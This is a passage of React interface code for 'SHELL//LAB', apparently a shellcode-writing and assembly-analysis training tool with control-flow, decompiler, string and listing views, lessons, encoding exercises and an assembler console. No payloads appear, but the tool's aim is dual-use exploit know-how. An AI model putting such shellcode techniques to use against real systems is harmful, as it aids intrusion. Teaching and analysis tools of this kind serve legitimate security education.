                        { label: "strace", cmd: `strace ./shellcode`, color: "#c792ea" },
                      ].map((c, i) => (
                        <div key={i} onClick={() => navigator.clipboard?.writeText(c.cmd)} style={{
                          background: "#0f1318", borderRadius: 4, padding: "6px 10px", cursor: "pointer",
                          border: "1px solid #1a2030", transition: "border-color 0.15s",
                        }}>
                          <div style={{ fontFamily: "monospace", fontSize: 8, color: c.color, letterSpacing: 1, marginBottom: 2 }}>{c.label}</div>
                          <div style={{ fontFamily: "'Fira Code', monospace", fontSize: 9, color: "#8899aa", wordBreak: "break-all" }}>{c.cmd}</div>
                        </div>
                      ))}
                    </div>
                  </div>
                </div>
              )}
            </div>
          );
        })()}

        {/* ═══════════ ANALYSIS TAB (Phase 6) ═══════════ */}
        {tab === "analyze" && (() => {
          const blocks = anaParsed ? buildCFG(anaParsed, anaLabels) : [];
          const decompiled = anaParsed ? decompileToC(anaParsed, anaLabels) : "";
          const strings = anaParsed ? extractStrings(anaParsed) : [];
          const instrs = anaParsed ? anaParsed.filter(p => p.type === "instr") : [];
          const demos = ANA_DEMOS[arch] || {};
          const demoKeys = Object.keys(demos);

          // CFG layout — simple vertical with offsets
          const blockH = (b) => 28 + b.instrs.length * 18;
          const blockW = 240;
          const gapY = 50;
          const gapX = 40;

          // Topological layout: detect back edges (loops) and assign columns
          const blockPositions = (() => {
            const positions = new Array(blocks.length);
            const visited = new Set();
            const colAssign = new Array(blocks.length).fill(0);

            // BFS to assign depth (Y order) and detect branches needing columns
            const depth = new Array(blocks.length).fill(0);
            const queue = [0];
            visited.add(0);
            while (queue.length > 0) {
              const bi = queue.shift();
              const block = blocks[bi];
              if (!block) continue;
              block.successors.forEach(succ => {
                const ti = blocks.findIndex(b => b.start === succ.target);
                if (ti === -1) return;
                if (!visited.has(ti)) {
                  visited.add(ti);
                  depth[ti] = depth[bi] + 1;
                  queue.push(ti);
                }
              });
            }

            // Handle unvisited blocks (disconnected)
            blocks.forEach((_, i) => { if (!visited.has(i)) depth[i] = i; });

            // Assign columns: conditional branches get left/right split
            blocks.forEach((block, bi) => {
              if (block.successors.length === 2) {
                const branchIdx = blocks.findIndex(b => b.start === block.successors[0].target);
                const fallIdx = blocks.findIndex(b => b.start === block.successors[1].target);
                if (branchIdx >= 0 && block.successors[0].type === "branch") colAssign[branchIdx] = 1;
                if (fallIdx >= 0 && block.successors[1].type === "fallthrough") colAssign[fallIdx] = 0;
              }
            });

            // Sort by depth for Y positioning
            const order = blocks.map((_, i) => i).sort((a, b) => depth[a] - depth[b]);
            let nextY = 10;
            const yByBlock = {};
            order.forEach(bi => {
              yByBlock[bi] = nextY;
              nextY += blockH(blocks[bi]) + gapY;
            });

            blocks.forEach((block, bi) => {
              const col = colAssign[bi];
              const x = 20 + col * (blockW + gapX);
              positions[bi] = { x, y: yByBlock[bi], w: blockW, h: blockH(block) };
            });

            return positions;
          })();

          const totalH = Math.max(...blockPositions.map(p => (p?.y || 0) + (p?.h || 0))) + 20;

          return (
            <div style={{ display: "grid", gridTemplateColumns: "280px 1fr", gap: 12 }}>
              {/* LEFT: Code input + view selector */}
              <div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
                <div style={{ display: "flex", gap: 3, flexWrap: "wrap" }}>
                  {demoKeys.map(k => (
                    <button key={k} onClick={() => { setAnaCode(demos[k]); setAnaParsed(null); }} style={{
                      background: anaCode === demos[k] ? a.color + "18" : "#0f1318",
                      border: `1px solid ${anaCode === demos[k] ? a.color : "#1e2a3a"}`,
                      color: anaCode === demos[k] ? a.color : "#6a7a8a",
                      padding: "3px 7px", borderRadius: 3, cursor: "pointer",
                      fontFamily: "'Fira Code', monospace", fontSize: 9,
                    }}>{k}</button>
                  ))}
                </div>

                <textarea value={anaCode} onChange={e => { setAnaCode(e.target.value); setAnaParsed(null); }}
                  spellCheck={false} placeholder={`; Paste ${a.name} assembly to analyze...`}
                  style={{
                    flex: 1, minHeight: 200, resize: "none",
                    background: "#080a0e", border: "1px solid #1a2030", borderRadius: 6,
                    padding: 10, color: "#c8d8e8",
                    fontFamily: "'Fira Code', monospace", fontSize: 11,
                    lineHeight: 1.7, outline: "none", caretColor: a.color,
                  }} />

                <button onClick={() => anaLoad()} style={{
                  background: "#39ff1418", border: "1px solid #39ff1444", color: "#39ff14",
                  padding: "8px 16px", borderRadius: 4, cursor: "pointer",
                  fontFamily: "'Barlow Condensed', sans-serif", fontSize: 13, fontWeight: 700, letterSpacing: 1,
                }}>▸ ANALYZE</button>

                {/* View selector */}
                <div style={{ display: "flex", gap: 3 }}>
                  {[
                    { id: "cfg", label: "CFG", icon: "◈" },
                    { id: "decomp", label: "DECOMPILE", icon: "{ }" },
                    { id: "strings", label: "STRINGS", icon: "Aa" },
                    { id: "listing", label: "LISTING", icon: "≡" },
                  ].map(v => (
                    <button key={v.id} onClick={() => setAnaView(v.id)} style={{
                      flex: 1, background: anaView === v.id ? a.color + "15" : "#0f1318",
                      border: `1px solid ${anaView === v.id ? a.color + "44" : "#1e2a3a"}`,
                      color: anaView === v.id ? a.color : "#5a7a95",
                      padding: "5px 4px", borderRadius: 4, cursor: "pointer",
                      fontFamily: "'Barlow Condensed', sans-serif", fontSize: 10, fontWeight: anaView === v.id ? 700 : 400,
                    }}>{v.icon} {v.label}</button>
                  ))}
                </div>

                {/* Stats */}
                {anaParsed && (
                  <div style={{
                    background: "#0a0e14", borderRadius: 6, padding: 10, border: "1px solid #141c28",
                    fontFamily: "'Fira Code', monospace", fontSize: 10,
                  }}>
                    <div style={{ color: "#5a7a95" }}>Instructions: <span style={{ color: a.color }}>{instrs.length}</span></div>
                    <div style={{ color: "#5a7a95" }}>Basic blocks: <span style={{ color: "#ffd866" }}>{blocks.length}</span></div>
                    <div style={{ color: "#5a7a95" }}>Labels: <span style={{ color: "#c792ea" }}>{Object.keys(anaLabels).length}</span></div>
                    <div style={{ color: "#5a7a95" }}>Strings: <span style={{ color: "#39ff14" }}>{strings.length}</span></div>
                    <div style={{ color: "#5a7a95" }}>Annotations: <span style={{ color: "#ff6b35" }}>{Object.keys(anaAnnotations).length}</span></div>
                  </div>
                )}
              </div>

              {/* RIGHT: Analysis views */}
              <div style={{
                background: "#080a0e", border: "1px solid #1a2030", borderRadius: 6,
                overflow: "hidden", display: "flex", flexDirection: "column", minHeight: 500,
              }}>
                {!anaParsed && (
                  <div style={{ flex: 1, display: "flex", alignItems: "center", justifyContent: "center", color: "#3a4a5a", fontFamily: "monospace", fontSize: 11 }}>
                    Load assembly to analyze
                  </div>
                )}

                {/* ── CFG View ── */}
                {anaParsed && anaView === "cfg" && (
                  <div style={{ flex: 1, overflowY: "auto", padding: 12 }}>
                    <div style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 10, color: a.color, letterSpacing: 2, marginBottom: 10, borderBottom: `1px solid ${a.color}22`, paddingBottom: 4 }}>
                      CONTROL FLOW GRAPH — {blocks.length} BLOCKS
                    </div>
                    <div style={{ position: "relative", minHeight: totalH }}>
                      {blocks.map((block, bi) => {
                        const pos = blockPositions[bi];
                        const isEntry = block.isEntry;
                        const isExit = block.isExit;
                        const borderColor = isEntry ? "#39ff14" : isExit ? "#ff4757" : "#1e2a3a";
                        return (
                          <div key={bi}>
                            {/* Block node */}
                            <div style={{
                              position: "absolute", left: pos.x, top: pos.y,
                              width: pos.w, minHeight: pos.h,
                              background: "#0c1018", borderRadius: 6,
                              border: `1px solid ${borderColor}`,
                              overflow: "hidden",
                            }}>
                              {/* Block header */}
                              <div style={{
                                padding: "4px 8px", background: borderColor + "15",
                                borderBottom: `1px solid ${borderColor}40`,
                                display: "flex", justifyContent: "space-between", alignItems: "center",
                              }}>
                                <span style={{ fontFamily: "'Fira Code', monospace", fontSize: 10, color: borderColor, fontWeight: 700 }}>
                                  {block.label}
                                </span>
                                <span style={{ fontFamily: "monospace", fontSize: 8, color: "#5a7a95" }}>
                                  {isEntry ? "ENTRY" : isExit ? "EXIT" : `B${bi}`}
                                </span>
                              </div>
                              {/* Instructions */}
                              <div style={{ padding: "3px 8px" }}>
                                {block.instrs.map((inst, ii) => {
                                  const flowOps = ["jmp","je","jz","jne","jnz","jg","jl","call","ret","int","syscall","svc","loop","b","bl","beq","bne"];
                                  const isFlow = flowOps.includes(inst.op);
                                  return (
                                    <div key={ii} style={{
                                      fontFamily: "'Fira Code', monospace", fontSize: 9,
                                      padding: "1px 0", display: "flex", gap: 6,
                                    }}>
                                      <span style={{ color: isFlow ? "#ff6b35" : "#6a7a8a", fontWeight: isFlow ? 600 : 400, minWidth: 50 }}>{inst.op}</span>
                                      <span style={{ color: "#5a7a95" }}>{inst.operands?.join(", ")}</span>
                                    </div>
                                  );
                                })}
                              </div>
                            </div>
                            {/* Edge arrows */}
                            {block.successors.map((succ, si) => {
                              const targetBlockIdx = blocks.findIndex(b => b.start === succ.target);
                              if (targetBlockIdx === -1) return null;
                              const targetPos = blockPositions[targetBlockIdx];
                              const fromX = pos.x + pos.w / 2 + (si * 20 - 10);
                              const fromY = pos.y + pos.h;
                              const toX = targetPos.x + targetPos.w / 2;
                              const toY = targetPos.y;
                              const edgeColor = succ.type === "branch" ? "#ff6b35" : succ.type === "jump" ? "#c792ea" : "#39ff1466";
                              return (
                                <svg key={`${bi}-${si}`} style={{ position: "absolute", left: 0, top: 0, width: "100%", height: "100%", pointerEvents: "none", overflow: "visible" }}>
                                  <line x1={fromX} y1={fromY} x2={toX} y2={toY - 4}
                                    stroke={edgeColor} strokeWidth={1.5} strokeDasharray={succ.type === "fallthrough" ? "4,3" : "none"} />
                                  <polygon points={`${toX},${toY} ${toX - 4},${toY - 8} ${toX + 4},${toY - 8}`} fill={edgeColor} />
                                </svg>
                              );
                            })}
                          </div>
                        );
                      })}
                    </div>
                    {/* Legend */}
                    <div style={{ display: "flex", gap: 12, marginTop: 8, paddingTop: 8, borderTop: "1px solid #1a2030" }}>
                      {[
                        { color: "#39ff14", label: "Entry", dash: false },
                        { color: "#ff4757", label: "Exit/Terminal", dash: false },
                        { color: "#ff6b35", label: "Conditional branch", dash: false },
                        { color: "#c792ea", label: "Unconditional jump", dash: false },
                        { color: "#39ff1466", label: "Fall-through", dash: true },
                      ].map((l, i) => (
                        <div key={i} style={{ display: "flex", alignItems: "center", gap: 4, fontFamily: "monospace", fontSize: 8, color: "#5a7a95" }}>
                          <span style={{ width: 16, height: 2, background: l.color, borderStyle: l.dash ? "dashed" : "solid", display: "inline-block" }} />
                          {l.label}
                        </div>
                      ))}
                    </div>
                  </div>
                )}

                {/* ── Decompiler View ── */}
                {anaParsed && anaView === "decomp" && (
                  <div style={{ flex: 1, overflowY: "auto", padding: 12 }}>
                    <div style={{ display: "flex", justifyContent: "space-between", alignItems: "center", marginBottom: 8 }}>
                      <div style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 10, color: "#ffd866", letterSpacing: 2 }}>
                        PSEUDO-C DECOMPILATION
                      </div>
                      <button onClick={() => navigator.clipboard?.writeText(decompiled)} style={{
                        background: "#0f1318", border: "1px solid #1e2a3a", color: "#6a7a8a",
                        padding: "2px 8px", borderRadius: 3, cursor: "pointer", fontFamily: "monospace", fontSize: 9,
                      }}>copy</button>
                    </div>
                    <pre style={{ fontFamily: "'Fira Code', monospace", fontSize: 11, lineHeight: 1.7, margin: 0 }}>
                      {decompiled.split("\n").map((line, i) => {
                        const isComment = line.trim().startsWith("//");
                        const isPreproc = line.trim().startsWith("#");
                        const isLabel = line.trim().endsWith(":");
                        const isFunc = line.includes("void ") || line === "}";
                        const hasSyscall = line.includes("syscall");
                        const hasGoto = line.includes("goto ");
                        const hasIf = line.includes("if ");
                        return (
                          <div key={i} style={{
                            color: isComment ? "#5a7a95" : isPreproc ? "#c792ea" : isLabel ? "#ffd866" :
                                   isFunc ? "#00d4ff" : hasSyscall ? "#ff4757" : hasGoto ? "#ff6b35" :
                                   hasIf ? "#c792ea" : "#c8d8e8",
                            fontWeight: isFunc || isLabel ? 700 : 400,
                            fontStyle: isComment ? "italic" : "normal",
                          }}>{line}</div>
                        );
                      })}
                    </pre>
                  </div>
                )}

                {/* ── Strings View ── */}
                {anaParsed && anaView === "strings" && (
                  <div style={{ flex: 1, overflowY: "auto", padding: 12 }}>
                    <div style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 10, color: "#39ff14", letterSpacing: 2, marginBottom: 8, borderBottom: "1px solid #39ff1422", paddingBottom: 4 }}>
                      STRING &amp; DATA REFERENCES — {strings.length} found
                    </div>
                    {strings.length === 0 && (
                      <div style={{ color: "#3a4a5a", fontFamily: "monospace", fontSize: 11 }}>No string references detected</div>
                    )}
                    <div style={{ display: "grid", gap: 4 }}>
                      {strings.map((s, i) => {
                        const typeColors = { string: "#39ff14", stack_push: "#ffd866", mov_imm: "#00d4ff", syscall: "#ff4757" };
                        return (
                          <div key={i} style={{
                            display: "grid", gridTemplateColumns: "80px 70px 1fr",
                            padding: "5px 8px", borderRadius: 4,
                            background: "#0c1018", border: "1px solid #141c28",
                            fontFamily: "'Fira Code', monospace", fontSize: 10,
                          }}>
                            <span style={{ color: "#5a7a95" }}>
                              {(CODE_BASE + s.index * 4).toString(16).padStart(8, "0")}
                            </span>
                            <span style={{
                              color: typeColors[s.type] || "#8899aa",
                              fontWeight: 600, fontSize: 9,
                            }}>{s.type}</span>
                            <div>
                              <div style={{ color: "#c8d8e8" }}>"{s.value}"</div>
                              <div style={{ color: "#5a7a95", fontSize: 9 }}>{s.raw}</div>
                            </div>
                          </div>
                        );
                      })}
                    </div>
                  </div>
                )}

                {/* ── Annotated Listing View ── */}
                {anaParsed && anaView === "listing" && (
                  <div style={{ flex: 1, overflowY: "auto", padding: 0 }}>
                    <div style={{
                      display: "grid", gridTemplateColumns: "70px 1fr 200px",
                      padding: "4px 8px", background: "#0c1018", borderBottom: "1px solid #1a2030",
                      fontFamily: "'Fira Code', monospace", fontSize: 8, color: "#4a5a6a", letterSpacing: 1,
                    }}>
                      <span>ADDRESS</span><span>INSTRUCTION</span><span>ANNOTATION</span>
                    </div>
                    {anaParsed.map((p, i) => {
                      if (p.type === "label") {
                        return (
                          <div key={i} style={{
                            padding: "4px 8px", fontFamily: "'Fira Code', monospace", fontSize: 11,
                            color: "#ffd866", fontWeight: 700, background: "#ffd86606",
                            borderLeft: "3px solid #ffd866",
                          }}>{p.name}:</div>
                        );
                      }
                      if (p.type === "meta") {
                        return (
                          <div key={i} style={{ padding: "1px 8px", fontFamily: "'Fira Code', monospace", fontSize: 10, color: "#2a3a4a", fontStyle: "italic", borderLeft: "3px solid transparent" }}>
                            {p.raw.trim()}
                          </div>
                        );
                      }
                      if (p.type !== "instr") return null;
                      const instrIdx = anaParsed.filter((pp, ii) => pp.type === "instr" && ii <= i).length - 1;
                      const addr = CODE_BASE + instrIdx * 4;
                      const hasNote = anaAnnotations[i];
                      const isEditing = anaEditingNote === i;

                      return (
                        <div key={i} style={{
                          display: "grid", gridTemplateColumns: "70px 1fr 200px",
                          padding: "3px 8px", alignItems: "center",
                          background: hasNote ? "#ff6b3506" : i % 2 === 0 ? "#0a0e14" : "transparent",
                          borderLeft: `3px solid ${hasNote ? "#ff6b35" : "transparent"}`,
                          fontFamily: "'Fira Code', monospace", fontSize: 10,
                        }}>
                          <span style={{ color: "#4a5a6a", fontSize: 9 }}>{addr.toString(16).padStart(8, "0")}</span>
                          <span>
                            <span style={{ color: "#8899aa", fontWeight: 600 }}>{p.op}</span>
                            <span style={{ color: "#6a7a8a" }}> {p.operands?.join(", ")}</span>
                          </span>
                          <div style={{ display: "flex", alignItems: "center", gap: 4 }}>
                            {isEditing ? (
                              <>
                                <input value={anaNoteText} onChange={e => setAnaNoteText(e.target.value)}
                                  onKeyDown={e => {
                                    if (e.key === "Enter") {
                                      setAnaAnnotations(prev => ({ ...prev, [i]: anaNoteText }));
                                      setAnaEditingNote(null);
                                    }
                                    if (e.key === "Escape") setAnaEditingNote(null);
                                  }}
                                  autoFocus
                                  style={{
                                    flex: 1, background: "#080a0e", border: "1px solid #ff6b3544", borderRadius: 3,
                                    padding: "2px 6px", color: "#ff6b35", fontFamily: "'Fira Code', monospace", fontSize: 9, outline: "none",
                                  }} />
                                <button onClick={() => { setAnaAnnotations(prev => ({ ...prev, [i]: anaNoteText })); setAnaEditingNote(null); }}
                                  style={{ background: "transparent", border: "none", color: "#39ff14", cursor: "pointer", fontSize: 10 }}>✓</button>
                              </>
                            ) : (
                              <>
                                {hasNote && <span style={{ color: "#ff6b35", fontSize: 9, flex: 1 }}>; {hasNote}</span>}
                                <button onClick={() => { setAnaEditingNote(i); setAnaNoteText(anaAnnotations[i] || ""); }}
                                  style={{
                                    background: "transparent", border: `1px solid ${hasNote ? "#ff6b3530" : "#1e2a3a"}`,
                                    color: hasNote ? "#ff6b35" : "#3a4a5a", cursor: "pointer",
                                    padding: "1px 5px", borderRadius: 2, fontFamily: "monospace", fontSize: 8,
                                  }}>{hasNote ? "edit" : "+"}</button>
                                {hasNote && (
                                  <button onClick={() => setAnaAnnotations(prev => { const n = { ...prev }; delete n[i]; return n; })}
                                    style={{ background: "transparent", border: "none", color: "#ff475766", cursor: "pointer", fontSize: 9 }}>✕</button>
                                )}
                              </>
                            )}
                          </div>
                        </div>
                      );
                    })}
                  </div>
                )}
              </div>
            </div>
          );
        })()}

        {/* ═══════════ LESSONS TAB ═══════════ */}
        {tab === "learn" && (
          <div style={{ display: "grid", gridTemplateColumns: "240px 1fr", gap: 20 }}>
            {/* Lesson nav */}
            <div>
              {LESSONS.map((l, i) => (
                <button key={l.id} onClick={() => setSelLesson(i)} style={{
                  display: "block", width: "100%", textAlign: "left",
                  background: selLesson === i ? a.color + "12" : "transparent",
                  border: `1px solid ${selLesson === i ? a.color + "44" : "transparent"}`,
                  borderLeft: selLesson === i ? `3px solid ${a.color}` : "3px solid transparent",
                  color: selLesson === i ? a.color : "#8899aa",
                  padding: "10px 14px", marginBottom: 4, borderRadius: 4, cursor: "pointer",
                  fontFamily: "'Barlow Condensed', sans-serif", fontSize: 13,
                  fontWeight: selLesson === i ? 700 : 400,
                  transition: "all 0.15s",
                }}>
                  <span style={{ fontSize: 10, opacity: 0.5, marginRight: 6 }}>{l.id}</span>
                  {l.title}
                </button>
              ))}
            </div>

            {/* Lesson content */}
            <div>
              <h2 style={{
                fontFamily: "'Share Tech Mono', monospace", fontSize: 18,
                color: a.color, letterSpacing: 2, marginBottom: 4,
              }}>{currentLesson.title}</h2>

              {/* Section nav */}
              <div style={{ display: "flex", gap: 4, marginBottom: 16 }}>
                {currentLesson.sections.map((s, i) => (
                  <button key={i} onClick={() => setLessonSection(i)} style={{
                    background: lessonSection === i ? a.color + "15" : "#0f1318",
                    border: `1px solid ${lessonSection === i ? a.color + "44" : "#1e2a3a"}`,
                    color: lessonSection === i ? a.color : "#6a7a8a",
                    padding: "5px 12px", borderRadius: 4, cursor: "pointer",
                    fontFamily: "'Barlow Condensed', sans-serif", fontSize: 12,
                    transition: "all 0.15s",
                  }}>{s.title}</button>
                ))}
              </div>

              {/* Section content */}
              <div style={{
                background: "#0a0e14", borderRadius: 8, padding: 24,
                border: "1px solid #141c28",
              }}>
                <h3 style={{
                  fontFamily: "'Share Tech Mono', monospace", fontSize: 14,
                  color: "#ffd866", marginBottom: 12,
                }}>
                  {currentLesson.sections[lessonSection]?.title}
                </h3>
                {currentLesson.sections[lessonSection]?.content.split("\n\n").map((para, i) => (
                  <p key={i} style={{
                    color: "#b0c0d0", fontSize: 13, lineHeight: 1.8,
                    marginBottom: 12, fontFamily: "'Barlow Condensed', sans-serif",
                  }}>
                    {para.split("\n").map((line, j) => (
                      <span key={j}>
                        {line.startsWith("•") ? (
                          <span style={{ color: "#8899aa", display: "block", paddingLeft: 16, marginBottom: 2 }}>
                            <span style={{ color: a.color }}>▸</span> {line.slice(2)}
                          </span>
                        ) : line.match(/^\d\./) ? (
                          <span style={{ color: "#8899aa", display: "block", paddingLeft: 16, marginBottom: 2 }}>
                            <span style={{ color: a.color }}>{line.split(".")[0]}.</span> {line.split(".").slice(1).join(".")}
                          </span>
                        ) : line}
                        {j < para.split("\n").length - 1 && !line.startsWith("•") && !line.match(/^\d\./) && <br />}
                      </span>
                    ))}
                  </p>
                ))}
              </div>

              {/* Pagination */}
              <div style={{ display: "flex", justifyContent: "space-between", marginTop: 12 }}>
                <button onClick={() => setLessonSection(Math.max(0, lessonSection - 1))} disabled={lessonSection === 0} style={{
                  background: "transparent", border: `1px solid ${lessonSection === 0 ? "#1a2030" : a.color + "44"}`,
                  color: lessonSection === 0 ? "#3a4a5a" : a.color,
                  padding: "6px 16px", borderRadius: 4, cursor: lessonSection === 0 ? "default" : "pointer",
                  fontFamily: "'Barlow Condensed', sans-serif", fontSize: 12,
                }}>← Previous</button>
                <span style={{ fontSize: 11, color: "#5a7a95", alignSelf: "center" }}>
                  {lessonSection + 1} / {currentLesson.sections.length}
                </span>
                <button onClick={() => setLessonSection(Math.min(currentLesson.sections.length - 1, lessonSection + 1))} disabled={lessonSection === currentLesson.sections.length - 1} style={{
                  background: "transparent", border: `1px solid ${lessonSection === currentLesson.sections.length - 1 ? "#1a2030" : a.color + "44"}`,
                  color: lessonSection === currentLesson.sections.length - 1 ? "#3a4a5a" : a.color,
                  padding: "6px 16px", borderRadius: 4, cursor: lessonSection === currentLesson.sections.length - 1 ? "default" : "pointer",
                  fontFamily: "'Barlow Condensed', sans-serif", fontSize: 12,
                }}>Next →</button>
              </div>
            </div>
          </div>
        )}

        {/* ═══════════ EXERCISES TAB ═══════════ */}
        {tab === "exercise" && (
          <div style={{ display: "grid", gridTemplateColumns: "260px 1fr", gap: 20 }}>
            <div>
              {EXERCISES.map((ex, i) => (
                <button key={ex.id} onClick={() => { setSelExercise(i); setShowAnswer(false); }} style={{
                  display: "block", width: "100%", textAlign: "left",
                  background: selExercise === i ? a.color + "12" : "transparent",
                  border: `1px solid ${selExercise === i ? a.color + "44" : "transparent"}`,
                  borderLeft: selExercise === i ? `3px solid ${a.color}` : "3px solid transparent",
                  color: selExercise === i ? a.color : "#8899aa",
                  padding: "10px 14px", marginBottom: 4, borderRadius: 4, cursor: "pointer",
                  fontFamily: "'Barlow Condensed', sans-serif", fontSize: 13,
                  transition: "all 0.15s",
                }}>
                  <div style={{ display: "flex", justifyContent: "space-between", alignItems: "center" }}>
                    <span>{ex.title}</span>
                    <span style={{ fontSize: 10, color: "#5a7a95" }}>
                      {"★".repeat(ex.difficulty)}{"☆".repeat(3 - ex.difficulty)}
                    </span>
                  </div>
                  <div style={{ fontSize: 10, color: "#5a7a95", marginTop: 2 }}>
                    {ARCHS[ex.arch]?.name || ex.arch}
                    {exerciseScores[ex.id] && <span style={{ color: "#39ff14", marginLeft: 8 }}>✓ completed</span>}
                  </div>
                </button>
              ))}
            </div>

            <div>
              {currentExercise && (
                <div style={{ background: "#0a0e14", borderRadius: 8, padding: 24, border: "1px solid #141c28" }}>
                  <div style={{ display: "flex", justifyContent: "space-between", alignItems: "center", marginBottom: 12 }}>
                    <h3 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 16, color: a.color, margin: 0 }}>
                      {currentExercise.title}
                    </h3>
                    <span style={{
                      padding: "3px 10px", borderRadius: 4, fontSize: 11,
                      fontFamily: "monospace",
                      background: ["","rgba(57,255,20,0.1)","rgba(255,216,102,0.1)","rgba(255,71,87,0.1)"][currentExercise.difficulty],
                      color: ["","#39ff14","#ffd866","#ff4757"][currentExercise.difficulty],
                      border: `1px solid ${["","#39ff1420","#ffd86620","#ff475720"][currentExercise.difficulty]}`,
                    }}>
                      {["","BEGINNER","INTERMEDIATE","ADVANCED"][currentExercise.difficulty]}
                    </span>
                  </div>

                  <p style={{ color: "#b0c0d0", fontSize: 14, lineHeight: 1.7, marginBottom: 16, fontFamily: "'Barlow Condensed', sans-serif" }}>
                    {currentExercise.prompt}
                  </p>

                  {/* Hint */}
                  <div style={{
                    background: "#0d1218", borderRadius: 6, padding: "10px 14px",
                    border: "1px solid #1a2530", marginBottom: 16,
                  }}>
                    <span style={{ fontFamily: "monospace", fontSize: 10, color: "#ffd866", letterSpacing: 1 }}>💡 HINT: </span>
                    <span style={{ color: "#8899aa", fontSize: 12 }}>{currentExercise.hint}</span>
                  </div>

                  {/* Bad vs Good encoding */}
                  {currentExercise.badBytes && (
                    <div style={{ marginBottom: 12 }}>
                      <span style={{ fontFamily: "monospace", fontSize: 10, color: "#ff4757", letterSpacing: 1 }}>✗ BAD ENCODING: </span>
                      <HexViewer bytes={currentExercise.badBytes} />
                    </div>
                  )}
                  {currentExercise.goodBytes && (
                    <div style={{ marginBottom: 16 }}>
                      <span style={{ fontFamily: "monospace", fontSize: 10, color: "#39ff14", letterSpacing: 1 }}>✓ GOOD ENCODING: </span>
                      <HexViewer bytes={currentExercise.goodBytes} />
                    </div>
                  )}

                  {/* Show answer */}
                  {!showAnswer ? (
                    <button onClick={() => { setShowAnswer(true); setExerciseScores(prev => ({ ...prev, [currentExercise.id]: true })); }} style={{
                      background: a.color + "15", border: `1px solid ${a.color}44`,
                      color: a.color, padding: "8px 20px", borderRadius: 4, cursor: "pointer",
                      fontFamily: "'Barlow Condensed', sans-serif", fontSize: 13, fontWeight: 600,
                    }}>Show Answer</button>
                  ) : (
                    <div style={{ marginTop: 8 }}>
                      <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 12, color: "#39ff14", marginBottom: 8 }}>SOLUTION</h4>
                      <pre style={{
                        background: "#080a0e", border: "1px solid #1a2030", borderRadius: 6,
                        padding: 14, fontFamily: "'Fira Code', monospace", fontSize: 12,
                        color: "#c8d8e8", marginBottom: 12,
                      }}>{currentExercise.answer}</pre>
                      <p style={{ color: "#8899aa", fontSize: 13, lineHeight: 1.7, fontFamily: "'Barlow Condensed', sans-serif" }}>
                        {currentExercise.explanation}
                      </p>
                    </div>
                  )}
                </div>
              )}
            </div>
          </div>
        )}

        {/* ═══════════ ARCH VIZ TAB ═══════════ */}
        {tab === "arch" && (
          <div>
            <div style={{ display: "grid", gridTemplateColumns: "1fr 1fr", gap: 20 }}>
              <div>
                <h3 style={{
                  fontFamily: "'Share Tech Mono', monospace", fontSize: 14,
                  color: a.color, letterSpacing: 2, marginBottom: 12,
                }}>REGISTER FILE — {a.name}</h3>
                <RegisterViz arch={arch} />
                <div style={{
                  marginTop: 12, padding: "10px 14px",
                  background: "#0a0e14", borderRadius: 6, border: "1px solid #141c28",
                  fontFamily: "'Fira Code', monospace", fontSize: 11,
                }}>
                  <div style={{ color: "#5a7a95", marginBottom: 4 }}>CALLING CONVENTION:</div>
                  <div style={{ color: "#8899aa", lineHeight: 1.6 }}>{a.callingConv}</div>
                </div>
              </div>

              <div>
                <h3 style={{
                  fontFamily: "'Share Tech Mono', monospace", fontSize: 14,
                  color: a.color, letterSpacing: 2, marginBottom: 12,
                }}>STACK LAYOUT</h3>
                <StackViz arch={arch} />
              </div>
            </div>
          </div>
        )}

        {/* ═══════════ EDITOR TAB ═══════════ */}
        {tab === "editor" && (
          <div style={{ display: "grid", gridTemplateColumns: "1fr 380px", gap: 16 }}>
            <div>
              <div style={{
                display: "flex", alignItems: "center", justifyContent: "space-between",
                marginBottom: 8,
              }}>
                <h3 style={{
                  fontFamily: "'Share Tech Mono', monospace", fontSize: 14,
                  color: a.color, letterSpacing: 2, margin: 0,
                }}>ASM EDITOR — {a.bits === 64 ? "NASM x86-64" : a.bits === 32 && arch === "x86" ? "NASM x86" : "GAS " + a.name}</h3>
                <div style={{ display: "flex", gap: 6 }}>
                  <button onClick={() => {
                    const t = templateKeys[0];
                    if (t && templates[t]) setEditorCode(templates[t].asm);
                  }} style={{
                    background: "#0f1318", border: "1px solid #1e2a3a", color: "#8899aa",
                    padding: "4px 12px", borderRadius: 4, cursor: "pointer",
                    fontFamily: "'Fira Code', monospace", fontSize: 10,
                  }}>Load Template</button>
                  <button onClick={runAssemble} style={{
                    background: a.color + "20", border: `1px solid ${a.color}44`, color: a.color,
                    padding: "4px 16px", borderRadius: 4, cursor: "pointer",
                    fontFamily: "'Barlow Condensed', sans-serif", fontSize: 12, fontWeight: 700,
                    letterSpacing: 1,
                  }}>▸ ASSEMBLE</button>
                </div>
              </div>

              <textarea
                value={editorCode}
                onChange={e => setEditorCode(e.target.value)}
                placeholder={`; Write your ${a.name} assembly here...\n; Use the reference tab for instruction syntax\n\nsection .text\nglobal _start\n\n_start:\n    ; your code here`}
                spellCheck={false}
                style={{
                  width: "100%", minHeight: 400, resize: "vertical",
                  background: "#080a0e", border: "1px solid #1a2030", borderRadius: 6,
                  padding: 16, color: "#c8d8e8",
                  fontFamily: "'Fira Code', 'Courier Prime', monospace", fontSize: 13,
                  lineHeight: 1.8, outline: "none",
                  caretColor: a.color,
                }}
              />
            </div>

            {/* Console */}
            <div>
              <div style={{
                display: "flex", alignItems: "center", justifyContent: "space-between",
                marginBottom: 8,
              }}>
                <h3 style={{
                  fontFamily: "'Share Tech Mono', monospace", fontSize: 14,
                  color: "#39ff14", letterSpacing: 2, margin: 0,
                }}>CONSOLE</h3>
                <button onClick={() => setConsoleOut([])} style={{
                  background: "transparent", border: "1px solid #1e2a3a", color: "#5a7a95",
                  padding: "3px 10px", borderRadius: 4, cursor: "pointer",
                  fontFamily: "monospace", fontSize: 10,
                }}>clear</button>
              </div>

              <div style={{
                background: "#050709", border: "1px solid #1a2030", borderRadius: 6,
                padding: 12, height: 400, overflowY: "auto",
                fontFamily: "'Fira Code', monospace", fontSize: 11,
              }}>
                {consoleOut.length === 0 && (
                  <div style={{ color: "#3a4a5a" }}>
                    <div>SHELL//LAB Assembler Console</div>
                    <div>Target: {a.name} ({a.bits}-bit, {a.endian} endian)</div>
                    <div>Ready.</div>
                  </div>
                )}
